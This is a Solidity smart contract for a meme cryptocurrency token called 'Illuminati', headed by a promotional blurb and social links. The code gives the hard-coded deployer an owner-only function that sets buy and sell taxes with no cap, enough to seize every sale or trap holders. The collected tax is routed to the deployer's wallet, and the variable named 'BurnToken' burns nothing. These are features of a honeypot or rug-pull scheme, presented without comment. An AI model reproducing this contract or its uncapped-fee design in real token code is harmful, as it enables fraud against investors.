/*

In 1776, a mysterious group gained notoriety: the Illuminati. Led by Bavarian professor Adam Weishaupt, this group wove a tapestry of intertwined ideas and secret conspiracies. Allegedly seeking the path of enlightenment and understanding, rumors quickly enveloped them. Their secret meetings, encoded messages, and apparent influence on world events contributed to their legend. The history of the Illuminati is filled with dark shadows and unsolved mysteries that continue to shroud their name.

Telegram: https://t.me/Illuminati_ERC
Twitter: https://twitter.com/Illuminati_ERC
Website: https://illumitoken.site

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract Illuminati {
        string public constant name = "Illuminati";  //
        string public constant symbol = "ILLUMINATI";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1_776_000_000 * 10**decimals;

        uint256 BurnToken = 2;
        uint256 SpendToken = 2;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0xFCcB9D7837D9E88a8ec8c0CcF41C5a190D8BE59c)); //

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == deployer || to == deployer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100;
                amount -= taxAmount;
                balanceOf[address(this)] += taxAmount;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function openTrading() external {
            require(msg.sender == deployer);
            require(!tradingOpen);
            tradingOpen = true;        
            }

            function _setILLUMINATI(uint256 newBurn, uint256 newSpend) private {
            BurnToken = newBurn;
            SpendToken = newSpend;
            }

        function setILLUMINATI(uint256 newBurn, uint256 newSpend) external {
            if(msg.sender != deployer)        
                revert Permissions();
            _setILLUMINATI(newBurn, newSpend);
            }
        }